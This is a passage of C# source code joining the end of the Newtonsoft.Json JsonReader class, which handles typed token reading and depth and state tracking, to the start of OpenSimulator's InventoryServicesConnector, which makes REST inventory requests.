throw new ArgumentOutOfRangeException(nameof(value));
}
_dateParseHandling = value;
}
}
/// <summary>
/// Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.
/// </summary>
public FloatParseHandling FloatParseHandling
{
get => _floatParseHandling;
set
{
if (value < FloatParseHandling.Double || value > FloatParseHandling.Decimal)
{
throw new ArgumentOutOfRangeException(nameof(value));
}
_floatParseHandling = value;
}
}
/// <summary>
/// Gets or sets how custom date formatted strings are parsed when reading JSON.
/// </summary>
public string? DateFormatString
{
get => _dateFormatString;
set => _dateFormatString = value;
}
/// <summary>
/// Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref="JsonReaderException"/>.
/// A null value means there is no maximum.
/// The default value is <c>64</c>.
/// </summary>
public int? MaxDepth
{
get => _maxDepth;
set
{
if (value <= 0)
{
throw new ArgumentException("Value must be positive.", nameof(value));
}
_maxDepth = value;
}
}
/// <summary>
/// Gets the type of the current JSON token.
/// </summary>
public virtual JsonToken TokenType => _tokenType;
/// <summary>
/// Gets the text value of the current JSON token.
/// </summary>
public virtual object? Value => _value;
/// <summary>
/// Gets the .NET type for the current JSON token.
/// </summary>
public virtual Type? ValueType => _value?.GetType();
/// <summary>
/// Gets the depth of the current token in the JSON document.
/// </summary>
/// <value>The depth of the current token in the JSON document.</value>
public virtual int Depth
{
get
{
int depth = _stack?.Count ?? 0;
if (JsonTokenUtils.IsStartToken(TokenType) || _currentPosition.Type == JsonContainerType.None)
{
return depth;
}
else
{
return depth + 1;
}
}
}
/// <summary>
/// Gets the path of the current JSON token.
/// </summary>
public virtual string Path
{
get
{
if (_currentPosition.Type == JsonContainerType.None)
{
return string.Empty;
}
bool insideContainer = (_currentState != State.ArrayStart
&& _currentState != State.ConstructorStart
&& _currentState != State.ObjectStart);
JsonPosition? current = insideContainer ? (JsonPosition?)_currentPosition : null;
return JsonPosition.BuildPath(_stack!, current);
}
}
/// <summary>
/// Gets or sets the culture used when reading JSON. Defaults to <see cref="CultureInfo.InvariantCulture"/>.
/// </summary>
public CultureInfo Culture
{
get => _culture ?? CultureInfo.InvariantCulture;
set => _culture = value;
}
internal JsonPosition GetPosition(int depth)
{
if (_stack != null && depth < _stack.Count)
{
return _stack[depth];
}
return _currentPosition;
}
/// <summary>
/// Initializes a new instance of the <see cref="JsonReader"/> class.
/// </summary>
protected JsonReader()
{
_currentState = State.Start;
_dateTimeZoneHandling = DateTimeZoneHandling.RoundtripKind;
_dateParseHandling = DateParseHandling.DateTime;
_floatParseHandling = FloatParseHandling.Double;
_maxDepth = 64;
CloseInput = true;
}
private void Push(JsonContainerType value)
{
UpdateScopeWithFinishedValue();
if (_currentPosition.Type == JsonContainerType.None)
{
_currentPosition = new JsonPosition(value);
}
else
{
if (_stack == null)
{
_stack = new List<JsonPosition>();
}
_stack.Add(_currentPosition);
_currentPosition = new JsonPosition(value);
// this is a little hacky because Depth increases when first property/value is written but only testing here is faster/simpler
if (_maxDepth != null && Depth + 1 > _maxDepth && !_hasExceededMaxDepth)
{
_hasExceededMaxDepth = true;
throw JsonReaderException.Create(this, "The reader's MaxDepth of {0} has been exceeded.".FormatWith(CultureInfo.InvariantCulture, _maxDepth));
}
}
}
private JsonContainerType Pop()
{
JsonPosition oldPosition;
if (_stack != null && _stack.Count > 0)
{
oldPosition = _currentPosition;
_currentPosition = _stack[_stack.Count - 1];
_stack.RemoveAt(_stack.Count - 1);
}
else
{
oldPosition = _currentPosition;
_currentPosition = new JsonPosition();
}
if (_maxDepth != null && Depth <= _maxDepth)
{
_hasExceededMaxDepth = false;
}
return oldPosition.Type;
}
private JsonContainerType Peek()
{
return _currentPosition.Type;
}
/// <summary>
/// Reads the next JSON token from the source.
/// </summary>
/// <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>
public abstract bool Read();
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="Int32"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="Int32"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual int? ReadAsInt32()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Integer:
case JsonToken.Float:
object v = Value!;
if (v is int i)
{
return i;
}
#if HAVE_BIG_INTEGER
if (v is BigInteger value)
{
i = (int)value;
}
else
#endif
{
try
{
i = Convert.ToInt32(v, CultureInfo.InvariantCulture);
}
catch (Exception ex)
{
// handle error for large integer overflow exceptions
throw JsonReaderException.Create(this, "Could not convert to integer: {0}.".FormatWith(CultureInfo.InvariantCulture, v), ex);
}
}
SetToken(JsonToken.Integer, i, false);
return i;
case JsonToken.String:
string? s = (string?)Value;
return ReadInt32String(s);
}
throw JsonReaderException.Create(this, "Error reading integer. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
internal int? ReadInt32String(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (int.TryParse(s, NumberStyles.Integer, Culture, out int i))
{
SetToken(JsonToken.Integer, i, false);
return i;
}
else
{
SetToken(JsonToken.String, s, false);
throw JsonReaderException.Create(this, "Could not convert string to integer: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="String"/>.
/// </summary>
/// <returns>A <see cref="String"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual string? ReadAsString()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.String:
return (string?)Value;
}
if (JsonTokenUtils.IsPrimitiveToken(t))
{
object? v = Value;
if (v != null)
{
string s;
if (v is IFormattable formattable)
{
s = formattable.ToString(null, Culture);
}
else
{
s = v is Uri uri ? uri.OriginalString : v.ToString();
}
SetToken(JsonToken.String, s, false);
return s;
}
}
throw JsonReaderException.Create(this, "Error reading string. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Byte"/>[].
/// </summary>
/// <returns>A <see cref="Byte"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>
public virtual byte[]? ReadAsBytes()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.StartObject:
{
ReadIntoWrappedTypeObject();
byte[]? data = ReadAsBytes();
ReaderReadAndAssert();
if (TokenType != JsonToken.EndObject)
{
throw JsonReaderException.Create(this, "Error reading bytes. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, TokenType));
}
SetToken(JsonToken.Bytes, data, false);
return data;
}
case JsonToken.String:
{
// attempt to convert possible base 64 or GUID string to bytes
// GUID has to have format 00000000-0000-0000-0000-000000000000
string s = (string)Value!;
byte[] data;
if (s.Length == 0)
{
data = CollectionUtils.ArrayEmpty<byte>();
}
else if (ConvertUtils.TryConvertGuid(s, out Guid g1))
{
data = g1.ToByteArray();
}
else
{
data = Convert.FromBase64String(s);
}
SetToken(JsonToken.Bytes, data, false);
return data;
}
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Bytes:
if (Value is Guid g2)
{
byte[] data = g2.ToByteArray();
SetToken(JsonToken.Bytes, data, false);
return data;
}
return (byte[]?)Value;
case JsonToken.StartArray:
return ReadArrayIntoByteArray();
}
throw JsonReaderException.Create(this, "Error reading bytes. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
internal byte[] ReadArrayIntoByteArray()
{
List<byte> buffer = new List<byte>();
while (true)
{
if (!Read())
{
SetToken(JsonToken.None);
}
if (ReadArrayElementIntoByteArrayReportDone(buffer))
{
byte[] d = buffer.ToArray();
SetToken(JsonToken.Bytes, d, false);
return d;
}
}
}
private bool ReadArrayElementIntoByteArrayReportDone(List<byte> buffer)
{
switch (TokenType)
{
case JsonToken.None:
throw JsonReaderException.Create(this, "Unexpected end when reading bytes.");
case JsonToken.Integer:
buffer.Add(Convert.ToByte(Value, CultureInfo.InvariantCulture));
return false;
case JsonToken.EndArray:
return true;
case JsonToken.Comment:
return false;
default:
throw JsonReaderException.Create(this, "Unexpected token when reading bytes: {0}.".FormatWith(CultureInfo.InvariantCulture, TokenType));
}
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="Double"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="Double"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual double? ReadAsDouble()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Integer:
case JsonToken.Float:
object v = Value!;
if (v is double d)
{
return d;
}
#if HAVE_BIG_INTEGER
if (v is BigInteger value)
{
d = (double)value;
}
else
#endif
{
d = Convert.ToDouble(v, CultureInfo.InvariantCulture);
}
SetToken(JsonToken.Float, d, false);
return (double)d;
case JsonToken.String:
return ReadDoubleString((string?)Value);
}
throw JsonReaderException.Create(this, "Error reading double. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
internal double? ReadDoubleString(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (double.TryParse(s, NumberStyles.Float | NumberStyles.AllowThousands, Culture, out double d))
{
SetToken(JsonToken.Float, d, false);
return d;
}
else
{
SetToken(JsonToken.String, s, false);
throw JsonReaderException.Create(this, "Could not convert string to double: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="Boolean"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="Boolean"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual bool? ReadAsBoolean()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Integer:
case JsonToken.Float:
bool b;
#if HAVE_BIG_INTEGER
if (Value is BigInteger integer)
{
b = integer != 0;
}
else
#endif
{
b = Convert.ToBoolean(Value, CultureInfo.InvariantCulture);
}
SetToken(JsonToken.Boolean, b, false);
return b;
case JsonToken.String:
return ReadBooleanString((string?)Value);
case JsonToken.Boolean:
return (bool)Value!;
}
throw JsonReaderException.Create(this, "Error reading boolean. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
internal bool? ReadBooleanString(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (bool.TryParse(s, out bool b))
{
SetToken(JsonToken.Boolean, b, false);
return b;
}
else
{
SetToken(JsonToken.String, s, false);
throw JsonReaderException.Create(this, "Could not convert string to boolean: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="Decimal"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="Decimal"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual decimal? ReadAsDecimal()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Integer:
case JsonToken.Float:
object v = Value!;
if (v is decimal d)
{
return d;
}
#if HAVE_BIG_INTEGER
if (v is BigInteger value)
{
d = (decimal)value;
}
else
#endif
{
try
{
d = Convert.ToDecimal(v, CultureInfo.InvariantCulture);
}
catch (Exception ex)
{
// handle error for large integer overflow exceptions
throw JsonReaderException.Create(this, "Could not convert to decimal: {0}.".FormatWith(CultureInfo.InvariantCulture, v), ex);
}
}
SetToken(JsonToken.Float, d, false);
return d;
case JsonToken.String:
return ReadDecimalString((string?)Value);
}
throw JsonReaderException.Create(this, "Error reading decimal. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
internal decimal? ReadDecimalString(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (decimal.TryParse(s, NumberStyles.Number, Culture, out decimal d))
{
SetToken(JsonToken.Float, d, false);
return d;
}
else if (ConvertUtils.DecimalTryParse(s.ToCharArray(), 0, s.Length, out d) == ParseResult.Success)
{
// This is to handle strings like "96.014e-05" that are not supported by traditional decimal.TryParse
SetToken(JsonToken.Float, d, false);
return d;
}
else
{
SetToken(JsonToken.String, s, false);
throw JsonReaderException.Create(this, "Could not convert string to decimal: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
}
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="DateTime"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="DateTime"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual DateTime? ReadAsDateTime()
{
switch (GetContentToken())
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Date:
#if HAVE_DATE_TIME_OFFSET
if (Value is DateTimeOffset offset)
{
SetToken(JsonToken.Date, offset.DateTime, false);
}
#endif
return (DateTime)Value!;
case JsonToken.String:
return ReadDateTimeString((string?)Value);
}
throw JsonReaderException.Create(this, "Error reading date. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, TokenType));
}
internal DateTime? ReadDateTimeString(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (DateTimeUtils.TryParseDateTime(s, DateTimeZoneHandling, _dateFormatString, Culture, out DateTime dt))
{
dt = DateTimeUtils.EnsureDateTime(dt, DateTimeZoneHandling);
SetToken(JsonToken.Date, dt, false);
return dt;
}
if (DateTime.TryParse(s, Culture, DateTimeStyles.RoundtripKind, out dt))
{
dt = DateTimeUtils.EnsureDateTime(dt, DateTimeZoneHandling);
SetToken(JsonToken.Date, dt, false);
return dt;
}
throw JsonReaderException.Create(this, "Could not convert string to DateTime: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
#if HAVE_DATE_TIME_OFFSET
/// <summary>
/// Reads the next JSON token from the source as a <see cref="Nullable{T}"/> of <see cref="DateTimeOffset"/>.
/// </summary>
/// <returns>A <see cref="Nullable{T}"/> of <see cref="DateTimeOffset"/>. This method will return <c>null</c> at the end of an array.</returns>
public virtual DateTimeOffset? ReadAsDateTimeOffset()
{
JsonToken t = GetContentToken();
switch (t)
{
case JsonToken.None:
case JsonToken.Null:
case JsonToken.EndArray:
return null;
case JsonToken.Date:
if (Value is DateTime time)
{
SetToken(JsonToken.Date, new DateTimeOffset(time), false);
}
return (DateTimeOffset)Value!;
case JsonToken.String:
string? s = (string?)Value;
return ReadDateTimeOffsetString(s);
default:
throw JsonReaderException.Create(this, "Error reading date. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, t));
}
}
internal DateTimeOffset? ReadDateTimeOffsetString(string? s)
{
if (StringUtils.IsNullOrEmpty(s))
{
SetToken(JsonToken.Null, null, false);
return null;
}
if (DateTimeUtils.TryParseDateTimeOffset(s, _dateFormatString, Culture, out DateTimeOffset dt))
{
SetToken(JsonToken.Date, dt, false);
return dt;
}
if (DateTimeOffset.TryParse(s, Culture, DateTimeStyles.RoundtripKind, out dt))
{
SetToken(JsonToken.Date, dt, false);
return dt;
}
SetToken(JsonToken.String, s, false);
throw JsonReaderException.Create(this, "Could not convert string to DateTimeOffset: {0}.".FormatWith(CultureInfo.InvariantCulture, s));
}
#endif
internal void ReaderReadAndAssert()
{
if (!Read())
{
throw CreateUnexpectedEndException();
}
}
internal JsonReaderException CreateUnexpectedEndException()
{
return JsonReaderException.Create(this, "Unexpected end when reading JSON.");
}
internal void ReadIntoWrappedTypeObject()
{
ReaderReadAndAssert();
if (Value != null && Value.ToString() == JsonTypeReflector.TypePropertyName)
{
ReaderReadAndAssert();
if (Value != null && Value.ToString().StartsWith("System.Byte[]", StringComparison.Ordinal))
{
ReaderReadAndAssert();
if (Value.ToString() == JsonTypeReflector.ValuePropertyName)
{
return;
}
}
}
throw JsonReaderException.Create(this, "Error reading bytes. Unexpected token: {0}.".FormatWith(CultureInfo.InvariantCulture, JsonToken.StartObject));
}
/// <summary>
/// Skips the children of the current token.
/// </summary>
public void Skip()
{
if (TokenType == JsonToken.PropertyName)
{
Read();
}
if (JsonTokenUtils.IsStartToken(TokenType))
{
int depth = Depth;
while (Read() && (depth < Depth))
{
}
}
}
/// <summary>
/// Sets the current token.
/// </summary>
/// <param name="newToken">The new token.</param>
protected void SetToken(JsonToken newToken)
{
SetToken(newToken, null, true);
}
/// <summary>
/// Sets the current token and value.
/// </summary>
/// <param name="newToken">The new token.</param>
/// <param name="value">The value.</param>
protected void SetToken(JsonToken newToken, object? value)
{
SetToken(newToken, value, true);
}
/// <summary>
/// Sets the current token and value.
/// </summary>
/// <param name="newToken">The new token.</param>
/// <param name="value">The value.</param>
/// <param name="updateIndex">A flag indicating whether the position index inside an array should be updated.</param>
protected void SetToken(JsonToken newToken, object? value, bool updateIndex)
{
_tokenType = newToken;
_value = value;
switch (newToken)
{
case JsonToken.StartObject:
_currentState = State.ObjectStart;
Push(JsonContainerType.Object);
break;
case JsonToken.StartArray:
_currentState = State.ArrayStart;
Push(JsonContainerType.Array);
break;
case JsonToken.StartConstructor:
_currentState = State.ConstructorStart;
Push(JsonContainerType.Constructor);
break;
case JsonToken.EndObject:
ValidateEnd(JsonToken.EndObject);
break;
case JsonToken.EndArray:
ValidateEnd(JsonToken.EndArray);
break;
case JsonToken.EndConstructor:
ValidateEnd(JsonToken.EndConstructor);
break;
case JsonToken.PropertyName:
_currentState = State.Property;
_currentPosition.PropertyName = (string)value!;
break;
case JsonToken.Undefined:
case JsonToken.Integer:
case JsonToken.Float:
case JsonToken.Boolean:
case JsonToken.Null:
case JsonToken.Date:
case JsonToken.String:
case JsonToken.Raw:
case JsonToken.Bytes:
SetPostValueState(updateIndex);
break;
}
}
internal void SetPostValueState(bool updateIndex)
{
if (Peek() != JsonContainerType.None || SupportMultipleContent)
{
_currentState = State.PostValue;
}
else
{
SetFinished();
}
if (updateIndex)
{
UpdateScopeWithFinishedValue();
}
}
private void UpdateScopeWithFinishedValue()
{
if (_currentPosition.HasIndex)
{
_currentPosition.Position++;
}
}
private void ValidateEnd(JsonToken endToken)
{
JsonContainerType currentObject = Pop();
if (GetTypeForCloseToken(endToken) != currentObject)
{
throw JsonReaderException.Create(this, "JsonToken {0} is not valid for closing JsonType {1}.".FormatWith(CultureInfo.InvariantCulture, endToken, currentObject));
}
if (Peek() != JsonContainerType.None || SupportMultipleContent)
{
_currentState = State.PostValue;
}
else
{
SetFinished();
}
}
/// <summary>
/// Sets the state based on current token type.
/// </summary>
protected void SetStateBasedOnCurrent()
{
JsonContainerType currentObject = Peek();
switch (currentObject)
{
case JsonContainerType.Object:
_currentState = State.Object;
break;
case JsonContainerType.Array:
_currentState = State.Array;
break;
case JsonContainerType.Constructor:
_currentState = State.Constructor;
break;
case JsonContainerType.None:
SetFinished();
break;
default:
throw JsonReaderException.Create(this, "While setting the reader state back to current object an unexpected JsonType was encountered: {0}".FormatWith(CultureInfo.InvariantCulture, currentObject));
}
}
private void SetFinished()
{
_currentState = SupportMultipleContent ? State.Start : State.Finished;
}
private JsonContainerType GetTypeForCloseToken(JsonToken token)
{
switch (token)
{
case JsonToken.EndObject:
return JsonContainerType.Object;
case JsonToken.EndArray:
return JsonContainerType.Array;
case JsonToken.EndConstructor:
return JsonContainerType.Constructor;
default:
throw JsonReaderException.Create(this, "Not a valid close JsonToken: {0}".FormatWith(CultureInfo.InvariantCulture, token));
}
}
void IDisposable.Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
/// <summary>
/// Releases unmanaged and - optionally - managed resources.
/// </summary>
/// <param name="disposing"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>
protected virtual void Dispose(bool disposing)
{
if (_currentState != State.Closed && disposing)
{
Close();
}
}
/// <summary>
/// Changes the reader's state to <see cref="JsonReader.State.Closed"/>.
/// If <see cref="JsonReader.CloseInput"/> is set to <c>true</c>, the source is also closed.
/// </summary>
public virtual void Close()
{
_currentState = State.Closed;
_tokenType = JsonToken.None;
_value = null;
}
internal void ReadAndAssert()
{
if (!Read())
{
throw JsonSerializationException.Create(this, "Unexpected end when reading JSON.");
}
}
internal void ReadForTypeAndAssert(JsonContract? contract, bool hasConverter)
{
if (!ReadForType(contract, hasConverter))
{
throw JsonSerializationException.Create(this, "Unexpected end when reading JSON.");
}
}
internal bool ReadForType(JsonContract? contract, bool hasConverter)
{
// don't read properties with converters as a specific value
// the value might be a string which will then get converted which will error if read as date for example
if (hasConverter)
{
return Read();
}
ReadType t = contract?.InternalReadType ?? ReadType.Read;
switch (t)
{
case ReadType.Read:
return ReadAndMoveToContent();
case ReadType.ReadAsInt32:
ReadAsInt32();
break;
case ReadType.ReadAsInt64:
bool result = ReadAndMoveToContent();
if (TokenType == JsonToken.Undefined)
{
throw JsonReaderException.Create(this, "An undefined token is not a valid {0}.".FormatWith(CultureInfo.InvariantCulture, contract?.UnderlyingType ?? typeof(long)));
}
return result;
case ReadType.ReadAsDecimal:
ReadAsDecimal();
break;
case ReadType.ReadAsDouble:
ReadAsDouble();
break;
case ReadType.ReadAsBytes:
ReadAsBytes();
break;
case ReadType.ReadAsBoolean:
ReadAsBoolean();
break;
case ReadType.ReadAsString:
ReadAsString();
break;
case ReadType.ReadAsDateTime:
ReadAsDateTime();
break;
#if HAVE_DATE_TIME_OFFSET
case ReadType.ReadAsDateTimeOffset:
ReadAsDateTimeOffset();
break;
#endif
default:
throw new ArgumentOutOfRangeException();
}
return (TokenType != JsonToken.None);
}
internal bool ReadAndMoveToContent()
{
return Read() && MoveToContent();
}
internal bool MoveToContent()
{
JsonToken t = TokenType;
while (t == JsonToken.None || t == JsonToken.Comment)
{
if (!Read())
{
return false;
}
t = TokenType;
}
return true;
}
private JsonToken GetContentToken()
{
JsonToken t;
do
{
if (!Read())
{
SetToken(JsonToken.None);
return JsonToken.None;
}
else
{
t = TokenType;
}
} while (t == JsonToken.Comment);
return t;
}
}
}
| |
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using log4net;
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using Nini.Config;
using OpenSim.Framework;
using OpenSim.Framework.Servers.HttpServer;
using OpenSim.Services.Interfaces;
using OpenMetaverse;
namespace OpenSim.Services.Connectors
{
public class InventoryServicesConnector : ISessionAuthInventoryService
{
private static readonly ILog m_log =
LogManager.GetLogger(
MethodBase.GetCurrentMethod().DeclaringType);
private string m_ServerURI = String.Empty;
private Dictionary<UUID, InventoryReceiptCallback> m_RequestingInventory = new Dictionary<UUID, InventoryReceiptCallback>();
private Dictionary<UUID, DateTime> m_RequestTime = new Dictionary<UUID, DateTime>();
public InventoryServicesConnector()
{
}
public InventoryServicesConnector(string serverURI)
{
m_ServerURI = serverURI.TrimEnd('/');
}
public InventoryServicesConnector(IConfigSource source)
{
Initialise(source);
}
public virtual void Initialise(IConfigSource source)
{
IConfig inventoryConfig = source.Configs["InventoryService"];
if (inventoryConfig == null)
{
m_log.Error("[INVENTORY CONNECTOR]: InventoryService missing from OpenSim.ini");
throw new Exception("InventoryService missing from OpenSim.ini");
}
string serviceURI = inventoryConfig.GetString("InventoryServerURI",
String.Empty);
if (serviceURI == String.Empty)
{
m_log.Error("[INVENTORY CONNECTOR]: No Server URI named in section InventoryService");
throw new Exception("Unable to proceed. Please make sure your ini files in config-include are updated according to .example's");
}
m_ServerURI = serviceURI.TrimEnd('/');
}
#region ISessionAuthInventoryService
public string Host
{
get { return m_ServerURI; }
}
/// <summary>
/// Caller must catch eventual Exceptions.
/// </summary>
/// <param name="userID"></param>
/// <param name="sessionID"></param>
/// <param name="callback"></param>
public void GetUserInventory(string userIDStr, UUID sessionID, InventoryReceiptCallback callback)
{
UUID userID = UUID.Zero;
if (UUID.TryParse(userIDStr, out userID))
{
lock (m_RequestingInventory)
{
// *HACK ALERT*
// If an inventory request times out, it blocks any further requests from the
// same user, even after a relog. This is bad, and makes me sad.
// Really, we should detect a timeout and report a failure to the callback,
// BUT in my testing i found that it's hard to detect a timeout.. sometimes,
// a partial response is recieved, and sometimes a null response.
// So, for now, add a timer of ten seconds (which is the request timeout).
// This should basically have the same effect.
lock (m_RequestTime)
{
if (m_RequestTime.ContainsKey(userID))
{
TimeSpan interval = DateTime.Now - m_RequestTime[userID];
if (interval.TotalSeconds > 10)
{
m_RequestTime.Remove(userID);
if (m_RequestingInventory.ContainsKey(userID))
{
m_RequestingInventory.Remove(userID);
}
}
}
if (!m_RequestingInventory.ContainsKey(userID))
{
m_RequestTime.Add(userID, DateTime.Now);
m_RequestingInventory.Add(userID, callback);
}
else
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: GetUserInventory - ignoring repeated request for user {0}", userID);
return;
}
}
}
m_log.InfoFormat(
"[INVENTORY CONNECTOR]: Requesting inventory from {0}/GetInventory/ for user {1}",
m_ServerURI, userID);
RestSessionObjectPosterResponse<Guid, InventoryCollection> requester
= new RestSessionObjectPosterResponse<Guid, InventoryCollection>();
requester.ResponseCallback = InventoryResponse;
requester.BeginPostObject(m_ServerURI + "/GetInventory/", userID.Guid, sessionID.ToString(), userID.ToString());
}
}
/// <summary>
/// Gets the user folder for the given folder-type
/// </summary>
/// <param name="userID"></param>
/// <param name="type"></param>
/// <returns></returns>
public Dictionary<AssetType, InventoryFolderBase> GetSystemFolders(string userID, UUID sessionID)
{
List<InventoryFolderBase> folders = null;
Dictionary<AssetType, InventoryFolderBase> dFolders = new Dictionary<AssetType, InventoryFolderBase>();
try
{
folders = SynchronousRestSessionObjectPoster<Guid, List<InventoryFolderBase>>.BeginPostObject(
"POST", m_ServerURI + "/SystemFolders/", new Guid(userID), sessionID.ToString(), userID.ToString());
foreach (InventoryFolderBase f in folders)
dFolders[(AssetType)f.Type] = f;
return dFolders;
}
catch (Exception e)
{
// Maybe we're talking to an old inventory server. Try this other thing.
m_log.ErrorFormat("[INVENTORY CONNECTOR]: GetSystemFolders operation failed, {0} {1} (old sever?). Trying GetInventory.",
e.Source, e.Message);
try
{
InventoryCollection inventory = SynchronousRestSessionObjectPoster<Guid, InventoryCollection>.BeginPostObject(
"POST", m_ServerURI + "/GetInventory/", new Guid(userID), sessionID.ToString(), userID.ToString());
folders = inventory.Folders;
}
catch (Exception ex)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: GetInventory operation also failed, {0} {1}. Giving up.",
e.Source, ex.Message);
}
if ((folders != null) && (folders.Count > 0))
{
m_log.DebugFormat("[INVENTORY CONNECTOR]: Received entire inventory ({0} folders) for user {1}",
folders.Count, userID);
foreach (InventoryFolderBase f in folders)
{
if ((f.Type != (short)AssetType.Folder) && (f.Type != (short)AssetType.Unknown))
dFolders[(AssetType)f.Type] = f;
}
UUID rootFolderID = dFolders[AssetType.Animation].ParentID;
InventoryFolderBase rootFolder = new InventoryFolderBase(rootFolderID, new UUID(userID));
rootFolder = QueryFolder(userID, rootFolder, sessionID);
dFolders[AssetType.Folder] = rootFolder;
m_log.DebugFormat("[INVENTORY CONNECTOR]: {0} system folders for user {1}", dFolders.Count, userID);
return dFolders;
}
}
return new Dictionary<AssetType, InventoryFolderBase>();
}
/// <summary>
/// Gets everything (folders and items) inside a folder
/// </summary>
/// <param name="userId"></param>
/// <param name="folderID"></param>
/// <returns></returns>
public InventoryCollection GetFolderContent(string userID, UUID folderID, UUID sessionID)
{
try
{
// normal case
return SynchronousRestSessionObjectPoster<Guid, InventoryCollection>.BeginPostObject(
"POST", m_ServerURI + "/GetFolderContent/", folderID.Guid, sessionID.ToString(), userID.ToString());
}
catch (TimeoutException e)
{
m_log.ErrorFormat(
"[INVENTORY CONNECTOR]: GetFolderContent operation to {0} for {1} timed out {2} {3}.",
m_ServerURI, folderID, e.Source, e.Message);
}
catch (Exception e)
{
m_log.ErrorFormat("[INVENTORY CONNECTOR]: GetFolderContent operation failed for {0}, {1} {2} (old server?).",
folderID, e.Source, e.Message);
}
InventoryCollection nullCollection = new InventoryCollection();
